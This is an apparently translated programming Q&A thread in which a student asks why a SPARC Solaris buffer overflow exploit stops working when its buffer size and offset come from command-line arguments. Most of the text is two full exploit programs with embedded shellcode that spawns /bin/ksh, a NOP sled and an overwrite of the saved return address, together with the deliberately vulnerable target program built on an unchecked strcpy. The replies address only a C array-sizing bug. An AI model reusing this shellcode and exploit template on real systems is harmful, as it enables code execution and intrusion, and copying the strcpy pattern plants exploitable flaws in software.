Почему одна из этих программ работает, а другая нет?

Недавно я закончил проект, в котором я должен был написать программу для "атаки" на "сервер" SUN Sparc и вызвать переполнение буфера. Цель состояла в том, чтобы запустить /bin/ksh изнутри работающего «сервера».

В конце концов я заработал, но по глупой, как мне казалось, причине: это не работало, когда пользователь вводил значения буфера и смещения в качестве аргументов, но работало, когда значения были жестко запрограммированы.

Вот "жесткая" программа:

#include <stdlib.h>
#include <stdio.h>

/* lsd - Solaris shellcode 
 */
static char shell[]=         /* 10*4+8 bytes */

        "\x20\xbf\xff\xff"   /* bn,a  */
        "\x20\xbf\xff\xff"   /* bn,a  */
        "\x7f\xff\xff\xff"   /* call  */
        "\x90\x03\xe0\x20"   /* add %o7,32,%o0 */
        "\x92\x02\x20\x10"   /* add %o0,16,%o1 */
        "\xc0\x22\x20\x08"   /* st %g0,[%o0+8] */
        "\xd0\x22\x20\x10"   /* st %o0,[%o0+16] */
        "\xc0\x22\x20\x14"   /* st %g0,[%o0+20] */
        "\x82\x10\x20\x0b"   /* mov 0x0b,%g1 */
        "\x91\xd0\x20\x08"   /* ta 8 */
        "/bin/ksh" ;

#define BUFSIZE 864

/* SPARC NOP
 */
static char np[] = "\xac\x15\xa1\x6e";

unsigned long get_sp( void ) {
        asm("or %sp,%sp,%i0");
}

main( int argc, char *argv[] ) {

    char buf[ BUFSIZE ],*ptr;
    unsigned long ret,sp;
    int rem,i,err;

    ret = sp = get_sp();

    if( argv[1] ) {
            ret -= strtoul( argv[1], (void *)0, 16 );
    }

    /* align return address: IMPORTANT to be multiple of 8!! */

    if( ( rem = ret % 8 ) ) {
            ret &= ~(rem);
    }

    bzero( buf, BUFSIZE );
    for( i = 0; i < BUFSIZE; i+=4 ) {
            strcpy( &buf[i], np );
    }

    memcpy( (buf + BUFSIZE - strlen( shell ) - 8),shell,strlen( shell ));

    ptr = &buf[856];

    /* set fp to a save stack value
     */
    *( ptr++ ) = ( sp >> 24 ) & 0xff;
    *( ptr++ ) = ( sp >> 16 ) & 0xff;
    *( ptr++ ) = ( sp >> 8 ) & 0xff;
    *( ptr++ ) = ( sp ) & 0xff;


    /* we now overwrite saved PC
     */
    *( ptr++ ) = ( ret >> 24 ) & 0xff;
    *( ptr++ ) = ( ret >> 16 ) & 0xff;
    *( ptr++ ) = ( ret >> 8 ) & 0xff;
    *( ptr++ ) = ( ret ) & 0xff;

    buf[ BUFSIZE ] = 0;


#ifndef QUIET
    printf("Return Address 0x%x\n",ret);
    printf("Start overflowing server program\n");
    printf("Then a program such as shell can be executed after server program is over\n");
#endif

    err = execl( "./server1", "server1", buf, ( void *)0 );
    if( err == -1 ) perror("execl");
}

А вот и "гибкая" версия:

#include <stdlib.h>
#include <stdio.h>

/* lsd - Solaris shellcode 
 */
static char shell[]=         /* 10*4+8 bytes */

    "\x20\xbf\xff\xff"   /* bn,a  */
    "\x20\xbf\xff\xff"   /* bn,a  */
    "\x7f\xff\xff\xff"   /* call  */
    "\x90\x03\xe0\x20"   /* add %o7,32,%o0 */
    "\x92\x02\x20\x10"   /* add %o0,16,%o1 */
    "\xc0\x22\x20\x08"   /* st %g0,[%o0+8] */
    "\xd0\x22\x20\x10"   /* st %o0,[%o0+16] */
    "\xc0\x22\x20\x14"   /* st %g0,[%o0+20] */
    "\x82\x10\x20\x0b"   /* mov 0x0b,%g1 */
    "\x91\xd0\x20\x08"   /* ta 8 */
    "/bin/ksh" ;

static int BUFSIZE;
static int OFFSET;

/* SPARC NOP
 */
static char np[] = "\xac\x15\xa1\x6e";

unsigned long get_sp( void ) {
    asm("or %sp,%sp,%i0");
}

main( int argc, char *argv[] ) {

BUFSIZE = atoi(argv[1]);
OFFSET = atoi(argv[2]);
char buf[ BUFSIZE ],*ptr;
unsigned long ret,sp;
int rem,i,err;

ret = sp = get_sp();

if( argv[1] ) {
        ret -= strtoul( argv[1], (void *)0, 16 );
}
/* align return address: IMPORTANT to be multiple of 8!! */

if( ( rem = ret % 8 ) ) {
        ret &= ~(rem);
}

bzero( buf, BUFSIZE );
for( i = 0; i < BUFSIZE; i+=4 ) {
        strcpy( &buf[i], np );
}

memcpy( (buf + BUFSIZE - strlen( shell ) - 8),shell,strlen( shell ));

ptr = &buf[OFFSET];

/* set fp to a save stack value
 */
*( ptr++ ) = ( sp >> 24 ) & 0xff;
*( ptr++ ) = ( sp >> 16 ) & 0xff;
*( ptr++ ) = ( sp >> 8 ) & 0xff;
*( ptr++ ) = ( sp ) & 0xff;

/* we now overwrite saved PC
 */
*( ptr++ ) = ( ret >> 24 ) & 0xff;
*( ptr++ ) = ( ret >> 16 ) & 0xff;
*( ptr++ ) = ( ret >> 8 ) & 0xff;
*( ptr++ ) = ( ret ) & 0xff;

buf[ BUFSIZE ] = 0;


#ifndef QUIET
    printf("Return Address 0x%x\n",ret);
    printf("Start overflowing server program\n");
    printf("Then a program such as shell can be executed after server program is over\n");
#endif

    err = execl( "./server1", "server1", buf, ( void *)0 );
    if( err == -1 ) perror("execl");
}

Обратите внимание, что единственное отличие состоит в том, что я объявляю BUFSIZE и OFFSET, не определяя их, а затем устанавливаю их в файле main.

Для потомков, вот "сервер", который я атакую:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void copy1( const char *a ){
char buf[800];
    int i, j, k;
    printf("Inside COPY\n"); 
strcpy(buf,a);
}

void Doing_nothing() {
  int i, a[200];
  printf("Inside Doing_nothing\n");
  for (i=0; i < 100; i++)
     a[i] =2;
}

void main( int argc, char *argv[] ) {

    printf("\n *********************************\n");
    printf("This is a newly developed WEB server. \n");
    printf(" ****************************************\n") ;
    printf(" ******The web server is executing*******\n") ;
    printf(" ****************************************\n") ;
if (argc >=2 ) {
      Doing_nothing();
      copy1( argv[1] );
}      
}

Все они скомпилированы на моем компьютере Oracle Solaris 10 9/10 s10s_u9wos_14a SPARC.

Мой вопрос:

Почему гибкая программа не работает только потому, что я делаю аргументы командной строки BUFSIZE и OFFSET?


person BigDamnHero    schedule 01.05.2012    source источник


Ответы (2)


Я удивлен, что динамический код вообще скомпилирован.

Массивы, объявленные в стеке в форме int A[X], должны иметь размер, известный во время компиляции.

Вместо этого вам нужно выделить массив с помощью malloc.

char buf[ BUFSIZE ],*ptr;

должно быть

char *buf,*ptr;
buf = (char *)malloc(BUFSIZE);

и не забудьте освободить его, когда закончите

person Andrew Brock    schedule 01.05.2012

Ответ прост. C не любит использовать переменные в качестве спецификаторов размера при определении массивов. Один из способов — использовать #define, как в первом примере, или использовать const int. Если вы хотите, чтобы размер был указан в качестве аргумента, вам нужно использовать динамическое выделение памяти, попробуйте:

char * buf = (char *) malloc(BUFSIZE * sizeof(char)); /* sizeof(char) is optional ideally */
...
...
/*when you are done*/

free(buf);
buf = NULL;

Надеюсь это поможет

person sk7    schedule 01.05.2012
comment
Я так злюсь на себя за то, что пропустил это, вы, ребята, даже не представляете. Единственная проблема в том, что он все еще не работает, как задумано. - person BigDamnHero; 02.05.2012